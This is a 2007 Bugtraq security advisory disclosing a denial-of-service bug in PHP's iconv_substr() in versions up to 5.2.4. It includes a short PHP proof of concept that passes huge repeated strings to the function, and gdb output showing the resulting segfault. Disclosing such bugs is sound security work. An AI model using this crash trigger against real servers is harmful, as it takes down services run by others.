bugtraq - PHP <=5.2.4 iconv_substr() denial of service

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Message-ID: <20070905170502.18571.qmail@securityfocus.com>
Date: 5 Sep 2007 17:05:02 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP <=5.2.4 iconv_substr() denial of service

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
function: iconv_substr()
special condition: default php-memory-limit 
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

iconv_substr() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?
$a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */
$b = str_repeat("/", 2798349);// segfault happens here
iconv_substr($a,0,1,$b);
?>

result:
(gdb) run 2.php
/*(2 mn later...)*/
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215904064 (LWP 11430)]
0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6




========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie@...il.com
stay tuned, site comming soon ....